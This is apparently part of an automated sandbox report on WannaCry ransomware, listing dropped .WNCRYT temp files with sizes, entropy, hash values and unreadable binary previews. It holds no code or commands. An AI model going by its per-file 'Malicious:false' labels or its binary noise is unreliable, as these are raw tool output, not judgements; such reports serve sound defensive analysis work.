                                                                                                      SHA-256:67B5A37F07347508529DA46C03C3F62C18619F416FEA72442961F850FCF4E7DB
                                                                                                      SHA-512:B98026641E1C91C0E6A0294E5F92313D1FE158AF932C5DF930C1E60B8D06407DB0B9A762BDC01740E0BC1EF0F1F6484BB86C0339F419AC3B5A6B254BD31CA8DE
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:..H.Zk7#...*.u..R.X.....-z;..w.PQ...E.(&.....'....'..,y7.O$T.HS.o.d....z.L..9)..._y.0.=....x.>..d..\..j.x..,!.&.6.G...u.....l.*....</QL=l.^..%....h.:r(....."L.u.C..R\.../..R.)......U.:.I.ke/.)..)..x...X.!A..y{.j[.......9...1..5....!..|/.A./-y.@Z.k.7iM.TdF..._.xA.....<.IK..y<.kR....Dd...u.}.,Bp....>....X.....U..........Dkv.q...$.Nj.>..I.+...6>..2w9..b.o.x..e.q..^....EQ..?I.....c4.s.*..{.. .....%...I^_.v...^..?..@:i.........IB....K. .....zG....n.8..|.1.'....m..h]n....a..7...,.....!.g...8.)........#\.Ok...@?."K..b..6..\.-,}hZ.U.d......$:1..b...i4..(.jS.w.[ 3.j....`........_.98..:..a8.cA3.}..(%.j........:...O.]....'{....L...s.*XAS..h.....Q..k. .k.../Ur......V..svRj.........66.%.)..OmH&n......#..4...y.....F..$...2g].e..........5{.+.4v(...]..9.........>..r..J.EC%..L......z[....E1.h.k.....iJ...y.A..a..T...5ea...|8.../...vL..*.a....+.4$......D..._q.R.~.NvH...\...i.....CSzo.E.!L..X...#..O.....sJ=........4X.;.0..d],V..7'71.]h..G_.s...q. up..z.E.K..

                                                                                                      C:\Users\user\AppData\Local\Temp\37.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8153865849884605
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:NTo/dTqHwaLrJqomTEM2Os2C0g6WFPX4tRHJyQB:NTo1EwaXJqYz2C0gRFf4tHZB
                                                                                                      MD5:F9FF05C12F375A5C921B4EF99CCCE1F2
                                                                                                      SHA1:228996874BC1CF813F93D36AE101F159C238C398
                                                                                                      SHA-256:178F565B0A217B0205E9E519CE744A9AEF15C44767732A7B70692361D63FD630
                                                                                                      SHA-512:F3EA80370557D143A257247696CED791CD47621D95A811EFF7D8E5346DCBEF2758D6900AE84DFB24677AD0FA17BDE7B6E3B5A1E13CD0F689D76FB37FF0178CF3
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:........zA....!...D..Wf.:.o.U..<.4.$.......u.......;..I..#....x).....PK.rt.,......6.......&.rB.'t?j...\}.{... .si...g...5<g\.H]....R..x.e..:..1@x.-...n-._.[..mV........r..j.x...$VX1#...ycv3.M....vI7.Q../z.p.......u..7....q....1.m..{..9;......L..9J.,.&.~.c.$3.^.7`....]..............y/)..1e.......,......zy,.\Xf.J.1..+'8up...g.2.G.B.0.<....@..$....x,..n.K.U...t.l..42..N.3m.:..`rk.9...$d..]...b.."y..Iz....#.U.>...z..N..j.C..M7:...3..;..L......r.(..g..@[(_....!vU...l>..}A.J....!...:..A2..1...V...65..|.K!'..t..).O.............m+.x7.........).Iyw.y...."o...*.ZBU...D1..N..>....Lq........P..=._\.7.......qj$.v.....S..;$v}i..1KTD..AF.0yPm'.S.*0.D.."...=..0%o..M..+.C.:.0.].8.....F..!n.s..sO.se.k....*...Q..DE....v.z..f.<..X:....c...U.?.O'..hN.~.........^..^D.k.N..n...|..y....L.B..\=NOQy..>fFt...[.p.S..a6...Hg..a.....F.......y.MY..N.9...?../U....lc..n...bY.E.G.{....%\..Jb3.._...!..X..f...k.Y...`.O.1.A]..".f.u.E.W!..kZ..f....<...u.;.P.l.q..W.Q....=

                                                                                                      C:\Users\user\AppData\Local\Temp\38.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.802551950861727
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:Q8UPCudJQwQpa/vx7iRLyrkIEQm/XloRnCiGLgjaaEr/KKtB93SjXHeuVuQ7Lqzz:QRPCcQwQwhiRLy4IE7/XKSFaET93SjXy
                                                                                                      MD5:1EC6AD07A0DB8BD432247497F57BB6CA
                                                                                                      SHA1:172605D8C38DBCB16BC18DF5FCE0ED95EA1C36A2
                                                                                                      SHA-256:D562F97C75C8C3111AF1A0BBDBB2D84B32E941D2C4E425BCB314C7B54D4A4791
                                                                                                      SHA-512:E24EB44F9C1D201B5697A23E44E52FA0210CE6C50CAE7B2A243956CFABD36888BA676F36D52470300C1C2E38EA0A4885BC882AE116F1B1FD1ECA33BDD6F78D47
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:...S..}\..#..+.c..;.W[..@eJ.GF..D....$....<....|hG%M.D.&ry.....[?O8..FG..Fq..6..pJZ.K.W!,.a.....*.{u.T.UOT...y...#....158.R/.#:*..]...l.&.#rU.lg.46.U..ZM2Eu*....h..d.. ..`.s..\..h.`...`...o..........H.h..<.GMN....7L.i.4.igP.g)..Z.%......b...58.!.m..q.....".k......D.p@..:\....-...t./]..l|o..%.0..c.`D./0..F.....C.M......j.....(.x(....`...70p?.MM.3....rN....g....).).OC.....e...=...Z...>..U6.}.+D..z0..H1..#.WRB..M)~Z.hM...PX...H./..-...j.l-.F.......'.@.T<.#...~f.^.U.|.....y....y.n....._.3>/.*|=.7.)..2onx.NQ..qu...%dyqJ....B..B.,....r*...yx...._.?..E/K.....&bMz\...@....]..gV}l....+.D\a.B.._...ACD..<j}..d...V%...<(..q-..E%..Qr;.....'.q.......VN....0.......B..v..g.....E...HP......&.c.....Cn....6HaiH.rcF......&...D6....".|#.....c..e..Y.t7.u.H...Q/..;.........Q..Q.F....|....{wd.N...X..c.>...4....Z.1....5Re.Be....U.[..yQ....'.Sv.K.........L.........|.x.A.5v.p..jq0.........f..w..H..@^...S.O..Ri...r.K...].S........5.]..i'....9.[..8..........l.+

                                                                                                      C:\Users\user\AppData\Local\Temp\39.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.843621359417532
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:JFSDQIyykAbD9OtMdOVu9bzi6k4qlzJRAqGpW5YMxaD:CUIMMo83kvzfbGpv
                                                                                                      MD5:A418CE728521BD00E117B0C4C5FC12D6
                                                                                                      SHA1:E9097AD8AF8890AA78BCE950CA036543A9312754
                                                                                                      SHA-256:E61B5213D97B72F14302ADA76781674045B660DF3AD56CD7E2ECC4212F2B9B6E
                                                                                                      SHA-512:A7A14BF0EEB7E6E9BD7788F8B006F0698398B10E5ABC83E19216AB34432CBD2059A485F7D98FF8E3B45F71C759F6D0E19B9B8079CB07722933E6A4790CD5A090
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview::.E.,.xb['....g.k%=.. ,.A.u..y.W..?W..+e.\.j.~w-&...]6..pj..g....I.<...SX.........W...=>W.qh.S/Gq?.J......W.d....!...M....64y7.f...N..g..=.^M4......s.*...1...B..Dr$...T3.u.(4.N...N.a..I..C.d..c...:.....'e....7...#v.YPb7&.o!.(.YUo.8..>....8S=.V.RL....:...r...."VV?_...'U.]U*m0...Do8.......S..E.y..../L..V~e......z.*..s....c...`......9L.s.q...$.,>.A[6K....t).........H............a....4h.>..;&........Y......}....|.n..H..I.....7.#....Lf5.8..F5.B..i.'.?q.#.f.K6.....6..T...=8.}6$...r(."././3....%k.t..jo...s=].1$i.+U^.:1...!.T.nQo.\...WmP....M....9.e'........p.....,......^:.} ..v......21..Cx.e"~.?r>S..r..Y....[z.....F..tB.H...p."9...,`...v....Y.F.O....i\.i$.!RXZN<WS..Y...w......2..GDtj...5.S.4f.e...o._..S........O..q..A...y.9....:X.1.H...k{v0lx...=.B.y.j...hb..._...F.....j....Q..N._*...B..ai....J.hr...E..........o.Es......Q......u.nm.c.w.j.y...=..Tj...{D.R...h...d{{5.-...Ht3..8...a.-.>.f.....X...do...f....lT..{s........o.g..2....Sz..X........G.f..h.

                                                                                                      C:\Users\user\AppData\Local\Temp\4.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.810962411851569
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:Fn3VSDg8Xmm/3DtEA1wMLgAaUAWpsMLJj8K:93cmm/3DGUKIl8K
                                                                                                      MD5:53F0F878199493A7C6982FB7A14DC771
                                                                                                      SHA1:3EC6E6A6401985261486ABC31A879F26885AFFFC
                                                                                                      SHA-256:AAA09475AC96D0238444C4095BBF082C936E75077A8AA5D73DB2821FB952795B
                                                                                                      SHA-512:2356BE0BB88AA18E2C0D7064C165AB6AF2F2EAF4285A879362C530F8C9062E1FB53EB1F61E622D91DC9D8A2C40D211B7A24CAB53AB11724BDE6A036DB4FA6A1E
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:4.F.ku.....BbneHjR.^.ANY':.^.Dt...'.'d..G8.;.%..59...zx...S...C....n...4..P.8S.....~....._.w.....PbQ.+.>..z.-.....s}..",........Dc...Z..;..x.(..X0....@.X.y.9.}.;..y...../...."....f...]2\l.o<...t...B..M.D.>.p^..v.5.3.......v5P....eF.>{gg,......s.<...5........ly......Ozf..<#..........V..6..B&1W.1..U...rB...o"..R.'...,..c.bZH.....}..4QLN.Sw..I..l..L.]....5....9...7...O9..w.o...s..P...X.*..z...........z._..f..^.G=q.+.vK..h.Q....RM.+8......b^.-..]:h.Wo..>........Q*..\W.#.M;.bt.../G..<...C.3..M.".T..4.$...$...X.E...{*1AT.y..tX:..J.........2`.c....D.]..f.T.E.B">J.R?f../.Db.......8...0..=.a!..q`fr.......)....D.a5.v.>. ...,P)...K...l....,}#..V..d.H\..v.>A)3.F.........a...1.$.z...=mBa...(.n*.aJ..#..i.2..du..X..O$TOK._..e.8.Kj]q.y..xt6h.[4Cz..v?..yU....h.E....4...m.<.qr.3.....N..Id.P..W..uv.jU.].........(.0._.`.9T.X. .%=..{]..T.......7.\q.Y..3..6[.l.....y..]....|e..$W....F[)...-r.I.g.......no.t$..jb........CYC8C.....Y.q3]..t...])..c.f..g;.!q^J.

                                                                                                      C:\Users\user\AppData\Local\Temp\40.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.788828476454615
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:1ONZsxZTmL6XkhG3zHMguXnWTm0DwKaPZ52SpJFwuO8reH:0ExZTmLCkhwHZhDQB5xpJeuO+eH
                                                                                                      MD5:FC629E4CA8705228717B128827C3B1A4
                                                                                                      SHA1:C24E8D56B0E2ED92358223325B663DE102E99E89
                                                                                                      SHA-256:0F80378E55080A774B02A0E613B2AA6CBBCC08EEBB0D65069AF578E3E2EA382B
                                                                                                      SHA-512:0B090BB9D2FD94EAA7DD0437CF3FE88F35CF9E104EDFCE09679CEEEC3E037C4E87FD4AEAF86D8E95331D0AD5385AACAD4D167A99ED33222250E2BE91803B8E52
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.U..Z.......Qn.0Uv.*.MT....&.9..S~c#.p../.@.!.....=R&....:.>.~..~<..p.Q.=Y.$..:.p.X...#g..#GP..np$..<9....C....E>]v?.+~l..nW..K8.KR..t..X......xh.........`t...h.`.<..Da5X...d..q...%3...B..+.NZ.y..e.-v.,..\.<.Z.w..a.b.B'O_2..|.f..m..x.#.f..6o.Y.,./..$.y..T.B.!...@.}}R......M..V.........no.eJ/..l.q.ui... ......T.e.i$.j...`N.3..v._.FE.<.7...be_.ma....7+.Q...`lE#gP....!|.............]>.>......f......M.`.%..?...E..+...\....%.-..|M..OW..D.g..ETg........(.^././.Y.9^.}...{....R9.....[.........u....ID..QW<...d......D4}M.&.J+|.v\ZD.PKQ......F=........<..?5.....\...J.{..._..G.q......h.K....Qeb....].:...g:`.a......]..`..3.X..*...F.@.M.w...'!.1.U.4W...OH..<...,`.@...NR...........f.."$D(..t...h.k=.d.i..+E....(.....6..(/...q.(.8_..*..H......z..R.V...hZ]s.!..|.A.ao.loUyxOy..(.;]...7E....d....?....b)@Q.4..Y...6.....r.H.M...:.AL`.M.1.:.p^.w..J.'..K..%..\>......iL.u:.YS.. .....v.<.......p..f]Z.O.u..*..j.$.....]X.....)}...q.oP.....R.....U2{..5...!...H...t

                                                                                                      C:\Users\user\AppData\Local\Temp\41.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.850751022684902
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:8InTADK3tQIKvWyN0Mlts//r3e13Lv0W+nQePYYoyAAUX:ReyyI3yNzwHrWJGToH
                                                                                                      MD5:8E7F80F5BFE6ACBF86A4E9DD27575E1E
                                                                                                      SHA1:58B5D5321051F38BD46131E9F4358552638476E5
                                                                                                      SHA-256:C12B3C04F8CE5B17AE726294AFA67619DD7017D4558A19A9535DC007C3CE6799
                                                                                                      SHA-512:9F15073BB9A1FC72E5A5B4A0FBC73357886DFEF76D5B51A401CEF2C45AF3C2986D10832A0A8240E02D4BE9279D407ED488806A502B82967DF4A2C5B8983EB7E1
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:J.n..R.w.....Z'.sb.....VZ%~........r9.Z.f_.m.U......9B..{.->..9.0_P...l...H:Q..~gc.R.u.);.%..t.......N.6.>d.:..U.........i.+.....O....>.h/......*....H.S..V.ua..O{..pI.^..Gn@....b\..........F...0E.*/......h......b./...t.FD+.X..o.....ih.Z...l.9'......R.....$...\BFj..V...c..I..M...D..gf.o.O..k...~;.....@..#..p....od_....'p.7....!.3...f...s%*E#..<,Y...Rz.`.l.....#kH..%w+.,_Y.T.t..._..8..dt.dtT!.t.g.sJW......C..T..2,X.v..V^.KO......tJa.a../.....n...=.[..+...t%..h. .t.u.L...}W.....vo....<.V..W..07Iz.....OF..&...R....'.f...]35k..5K...R.O.<.u..];.)...[8..B.i.o%...=.1..*..s...%n.^s..Ot.:....`.|z/..M..3'T...u..5..8... f..)z..?....c.((.....n[..d.7.r.c...H.X......L..A4%h...*...AX..I..}...8.T..'*.").:.*.....r......PX....-..a....mb.K..R.[".$.......YG.3Yx[.`....D}..:.6t..8q.......H9.A..J<..l.9........Y..'3.>4[..7L..x.!q....E..U2.._u.e3?:.A.,....N...Y..Og.WGX.Q......... .-1;H.vN......5:.Z.~....2..W..H.........`...b.0....A..y..-.|^.h.E.uBSl.>LpK.T.QM..]_Q....$..

                                                                                                      C:\Users\user\AppData\Local\Temp\42.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.805000187149414
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:dV4ixfLU4k5buOXStT9QW16BWkGM2VuPQJxRSh2aA54L:dVffL4IeStT7tkGM2VuPQJx8AGL
                                                                                                      MD5:6A6B5E69079C4773B9319CABD0A3DF23
                                                                                                      SHA1:5FD4806F413D95613C9B61EB7975EC9FE6B4E86D
                                                                                                      SHA-256:6E7422F238DE0B975938F5F493CE6417744630122F3CE1424058EF9231A9CC63
                                                                                                      SHA-512:5713AF3DD6B6E1129633B53C32AEB191ED2E07D49F913DF94F43AA9AB331DEAF4AC0A76235DAB6AF4D181568F82B85F0891B489EEC5A45497809C2BB16A724EB
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:."..R..k..b.}......6.C.:..=.a..BJ9pXs.r.._.8........=N..C)..*.XLLD..U..&..wL.P.n...O.9..K..m..>.S....=.1 &..../.y`......R9..L.X..*.........BG.....m.....].....LM.p3.j...(H..3FtJ^.?2.t....U..r..A..:..l..Y.W...@+.....d.....{pB......$.q.b=...._.@.O5..G...s~z........Y.....'-Y.q.=.. .....a`...G.....C-.TuV.5s...L.H/......T...t.SKyih.w......aBy.......^'...mU...BpV......mvp.a]....l.yh.5..|.....qx7e)..ofVw.....hL.n.B;E.?el....?..z.:..x..xVB.z...........V.X.g...sX......^b....)Z...yF5..w.G....d.w...)..q8eY..-.g5.*S........bc....t..>....<....O.~..6{..?.s.Zr.I.gh.h..O........w..="-.>&-.@W.D.....:K.%.w.z`....[.d@8.i...]%b&...AMh.a.......c.d.9..z.C.....].5.K.....TI...'5.T.....G.'.....=..!#._..D.A.._.Dd..W!....;....w.9m..1.....m.R;..j...f......wQ.Q..y;.I..?.M.9m(.....TX.,p.x.<5....x....k...O..E..\.KT...).7_..3:....z...L.-.idM.^.....z...-.l.,..0..bk.N`NT...R.Z1......}Y.Ei....>..,.]Q....IB..;.......-........@.5+}.f.}.-*y.....;.......k.a.>c./.|Ni"I|..Y....

                                                                                                      C:\Users\user\AppData\Local\Temp\43.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.8311826362438355
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:GWZUJ15/iju5r+SgYpghw1+4HJrbtBWycg1/hi+w9hO31o:GP5/ijIr+XYpghw1FBW5g1/Y+2AFo
                                                                                                      MD5:81D16E8D9E55A99499E4B41BA7FDD1EC
                                                                                                      SHA1:F1FCE9D2486B0B0FC1C95E3B6DE451916CADB3FE
                                                                                                      SHA-256:50A549F364F2A707FE4C5CA38D744D417FB028C2E634D4F687E156E71B5FA420
                                                                                                      SHA-512:41B993A28FDF1D464FB90C5214590ACDD85B5252C15A911ED8C1DA2CCA12199810BD840BF447D06A26EC14EEC91665940432CDB0E73E707535E153A4B93FE883
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:..(R..4l......{...+....E.#e [W.}5..J...7._..@...M..i..<..=..@...a.]...Oeq.UFWp......Mf..y5.S*aT...I.U..n.c.Q.H..?..;.).7.......{1.......k..g...{;...}....uV....m...H....\L....Uqj.W..bOg....D.w.v....ik.B.....b..B.hH...}.g...... .3.c...:...:..W.....".Qm.2m....BQVQ.x..)u..W....X~=.H=...:..=...^%..:A.Nt.c..W.Q..qZM...0........+!...s.sY...(D....Pu_'.p.-rSy.b.N..^.l..$W.H..X].z+&......T*.....q}.mP..H%..P.^Gh.OH......,y....VW&.gNZ.4.....X....h.I.f.fc ...`..Q.-r....&9.6......J".5.G.<.3tO....f.....i. ......Q. b.0.2...L8..dG..Z......~P.....7..0...oQ....v.....z.'.^t@......$....g..=..A.<].~e..>.O..K.\.. ....e..}B.97..........;Q*....p..39.q'.3..C4.c6...Yi(Y.!.[...u...~(.@3{.71..U.y..^.\...X@.{....&.*.toQ.B.KccW.O:...S..>..r...^...j...(VI...>/..dZ.....!..,...}2....ev..P$..k7...2.}..Qqh.K|..@`..2.,L..41.w...>&..LJ.\...n...[s.!.....A7.....Nc....!..a#N...zo1J.Jj...I}.!...........*r..;am.-&pD...Z..j.:.<h..eE...V..|.q5..zw..F..|...=..3i....+-.#.

                                                                                                      C:\Users\user\AppData\Local\Temp\44.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:SysEx File -
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.803382368999752
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:/UUCtEXwUIq7udlETn2+/ZPD29lajnqQvwPLsZfKq:8fyAqznlkOnqnOfKq
                                                                                                      MD5:F3DAFE5AE4567F041B119C2BDCBF5D5D
                                                                                                      SHA1:30F36A7F40D3998A4D4C58CE9535BD95FBA11892
                                                                                                      SHA-256:3069AE04B6D10713FF5B83650149D4F5A22EF3576391D7D7FE0270371CD95926
                                                                                                      SHA-512:700B21CF6216D6B70A90E8757E2C07811271A0ECB3EE145EB528CA4FE5764941D31EBA453F2799AFACE4A3CCE7B5B07E075A288C6CAF5E4D0EE92B4B59B5AC12
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.].k.....@$.....0%.dE......0..Y.I.c....7.'$H.e.1|..fb0fE$.I.{...I...5......N.....d.?._.v.&.u.C.c.p..6.....3..MZ'>F...>.$+...O..%.6...f`..S.S..l..X.g.i.u..-.......{}..9.[....]..Rf.2.(....w..E.(..T..XIr..xL.yy ]...]..$......],_@..\L..)...,..og..l..M !.+..++A..[..3.[..n.....fw!.>,.5..N...z8"....1r.9..?.9...?....w.0.d.<..n.._.F...O...m_.....Z...(......m..%.^Pn.c...|.[.....,+.k..E..s.._Y.^...........\>.y.N..j..Y.P.Gk..x...........-..=..:..8...c..B5..A..R}_x%.7.c.....N6..8P....]........e...B...(3..Af.....{..u......e..p...bz3..aX6.2..f9..N.Q..Q...2..GKJ...f.W}%...~:jZx...;....z.*|.O.A.[.[L.....k.....:...6P...@.G{r....P>.....%8%w..]F....b.th.......[.+......7.N...Uw..\..`....gw.`0.......&t..W....2...._7..$B...GH.I.)Q..wD..'...&..^.p..I..B...:..?.......t!.E..9'N.C...H....o .L..F{.g.....?.}...c. ...^s\....T.....[...~P...p..aC.ye.U.G.v.p.."tC..|5)..U..-...n...>..;u.\..z`6...<...mz..a.`.S....o....^.._....)`..8..I.*`D.c-.B1..P......lAw=.X.)._Wp..n

                                                                                                      C:\Users\user\AppData\Local\Temp\45.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.82748589013608
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:zMaVt1l0cx14tv31uoNJOSrumz60WKd9Nqz1SbezRArQ+mPTKR:AEtb0qmdBmSrumz60WKd9NQ1gSKR
                                                                                                      MD5:7E159F2967CD1CC420A5909D9E378530
                                                                                                      SHA1:9FC6B497D43AEB677445165486B8D7B8648CF823
                                                                                                      SHA-256:E58E914E8D58FE3596586A6CB3D182BA1AA1F02B88E9E5EFDD35C3EB6023F8C1
                                                                                                      SHA-512:5FBCCFB42189001D0F5CD4EEB7806F9B680A6610387927B323D856D1314A30BD16A1AC5609C5DE4B436C91FCF787CA81D56172D254F862CBE20F0D963A40FA30
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:R..j.;oa......x.Qg.....n...y36....|@:.z..t.>Q.NZ../]=......q..L.*6..`.ve]C.D..<_.6..5\Kce$......o...u9...,h.Ed....U-..q..C.(.n.8B..q..Wm.z[4.&.#... .R.9.$Z.......W..#m..3P;ny.g...C......Kj....{...E...s..~......"}.. 9.<a..P.S.fP..."..k.^]<..g.2.:....Z4%B.6..E....y?.U......H.f...gY.....k.L..{..~........t.......(.P..2C.....C?.....1.KR.Z...!j9....MVx...I.....M.(.t.|.=..h.....OO..o....c..../..La..u.....}Tw..6.. .\~..G......i...H.L9......Z.zW.J.j.L0....C.^...K`.<*.c.MQX..bH..x......G.r.Ra.q.1.>..'.......@^Fe..........3..9W.......2.ge.."e.........F..u!....|...v..M.&T.-\..91.+.=1.p,^Dp.......1.C.#F.b=..4B..v.X*=.$...I..6!..I....[.......M.7#d./.K.VW_.Sd.Xo..".K.].3Ue.+..tk...L.._Ah.....K_.!...dN......m...*.Q.?.^.X?...KC...^.....1..;....q.-.b..S..vI.0........q..X.=.+...jK|8..S....j..h...2H....QR....%...[./AM?L.?..-.e.[.D.....[...x..WqW.@^.../.E...@.>+D.....v....)..g..<.a..2__.U.....,...6.'..:9..(*J.z.......?.......p..n.1xZ....4<.q^N..].*qi...

                                                                                                      C:\Users\user\AppData\Local\Temp\46.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.815362640305593
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:ST6uEIc44tegKQrgOGdDy0Z8N7BPkwyaIarCrcJK6:Y/hr4tegKIgbd3Z+7FhGrqV
                                                                                                      MD5:46EF75CCB1B06EF854C93378BAC82CA9
                                                                                                      SHA1:D4DA898FE50011BEB339F18770FA35A575B5F7C1
                                                                                                      SHA-256:F66C9597ADF366F0D26B75C3547711359CF622758454848BA7D53D5AE66F2659
                                                                                                      SHA-512:6A5B728F9421956B4B246A995165BCA44AA16B22437BDB99E3D93DC5376D34AF6B37B870D8443411F2E58275FF8DFDBA90454C9FC1CF25C1BA2F212F409B1793
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:.FJ.qd.....OM...).l+P|UZq..l...L.q......789&....q.. ..`.....z-.A@.#.{.9..eX....C.q*Z/..z..Os.hr.....+.x.??.%:...zf4.vHNbgf.4m.....!e......kr......2>..'.jL..c.b...tNm.x....:.I."..P.>..]aS...=.~GE/.-H....r..K.U..a.>....'.qf...d;......a...i.......^.9i.aB.y../a(0.n..\.B5<..vV....7...@.BG.../..".V.K_.o.C.]..KoJsX...;.FR|.....n..|>.|......^=.=.d..}.{..\.....G3o..-...X......T.,.v..T..p....x..F.....^.H....>%5$.5....Pj....1............B......K...b."q.iNs.1R.B.........[...=Ev.-o.j..........UB...b....x$...C!..;.-....[...u5./3Er...>..*(#....V.>.iso.(.{....g.....t...&.(L....o..@......0.]/Q....p7[...s.G...<..vj..C.u.v...W..=Pv...67'..._'...M.6.<.......:y.R........oN`*ZF.e..;....3..c......6..w..Q.E..k..{.{m....u..j..>.&..9.Dj.O.....:|...z.fB/?.E...........J..{..Y..'...vTD.b..;....m.......j.../m.X...s...s..Y,...\..[.4.j..`J.(f.a.G..D.5...,..M.....4X).;..'.........Y..6...a...h.;...%..(b.d..b....~x$.>.Iv`9.H.Qgt,.... .adY}{.%-V=.n.1.. D.jL,.......:..0.

                                                                                                      C:\Users\user\AppData\Local\Temp\47.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.7957014124957125
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:Pe+zDMH0yeNEubQvMkZYGXlmkZqlR1v+lh5Xqwa9:nzDMUyeuwQvMkZYGPZqn1GXqwG
                                                                                                      MD5:475CB52009ABD9CF5EA8A9FD25C318DD
                                                                                                      SHA1:51F5E65C97D89C2D675516290FB53CE81EFA8549
                                                                                                      SHA-256:98FEC923049E9573106264AD05EE9B3DF12C82A429DE07C706D08167E34712B9
                                                                                                      SHA-512:4E01589E1EAF120049FB9CBCA8082FB4839E2B654017C69C13DEF4DF32E5CE81D58593013A16F7510D17DC71471E46C3924CF20445D0C523FF936589E7D4598D
                                                                                                      Malicious:false
                                                                                                      Reputation:unknown
                                                                                                      Preview:C.sU.I..!..Z..-...7.:.....4^R..x.@....=.S.>V.....Q!.......^K....U.........<..?.W:..}R.).i.....p....82..w.........c:...[_i.......n..l.z....d....9d....R.B..fU..-....`..n.d.....I...;..9_..a......3Qk...[........yr...a?...E.d.z...F9.0.>.......Ry.WXY5.L...3=_.W.1.$~r..tk....j.>./..7O#..#.....Tv..{^S$E5...WK.o.....c.LX-...^d\...&.x.].J...*{..%2GI...$...<...`.9r..H...m9...b..4.o......9=.<9..U.Krm..$El.'...k..T.7..a'.."....!~......x............)..Q.6."7]Q....{..]....+w"...2...>...dr&F..c.4..}....4...zG.X.)t.v&...<..jx.?[&..i.n....:.GL..._&.F7y. ..I.C..^A..9...H.ho>./...r._..b.....=7.|."j...o..}...>N..Kx..ed7.....mU..q....b.vhU.M....m...z....N'yL.5...G....kh..._*...m.?`..].z..>Z..3$..w.|.../...c.']08...];...Va.Tk..a{2d.0.]y.tF.9.SC....Db8..V.._..k........O.GG..;.uS..t..;.....Z.@...p.....k.....+.|..R.....Nt.M<.....%...+...(.~..wR.J.z.8._..N.....t......,..j....DZ.;.R.3...t.e......9.....f..g.;{.6..$HV.O.x..n.M.......H~.A..#Eh.k....*....#...(.lQ..

                                                                                                      C:\Users\user\AppData\Local\Temp\48.WNCRYT (copy)

                                                                                                      Download File
                                                                                                      Process:C:\Users\user\Desktop\WannaCry_2.EXE
                                                                                                      File Type:data
                                                                                                      Category:dropped
                                                                                                      Size (bytes):1026
                                                                                                      Entropy (8bit):7.805951891785916
                                                                                                      Encrypted:false
                                                                                                      SSDEEP:24:Phn40x9yu8CtWNweW7wIIdHbOVtkFfNa7BhbgyZyynge:Pa00VNweWMhdHbgMa3g5e
                                                                                                      MD5:47A92D09D2AA4B0B9952FA34EBEE47E0
